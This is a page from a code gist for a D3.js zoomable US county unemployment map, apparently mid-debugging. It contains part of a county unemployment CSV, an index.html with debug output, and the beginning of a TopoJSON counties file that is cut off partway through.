06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/1bfb2602816244f016b7ba9efd791114">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.09&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
    //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  	//d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)
		d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;About to forEach&quot;)
    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
		d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;forEach completed&quot;)
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })
	d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; About to draw map paths&quot;)
    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return &apos;red&apos;
          //return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; Map paths rendered&quot;)
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&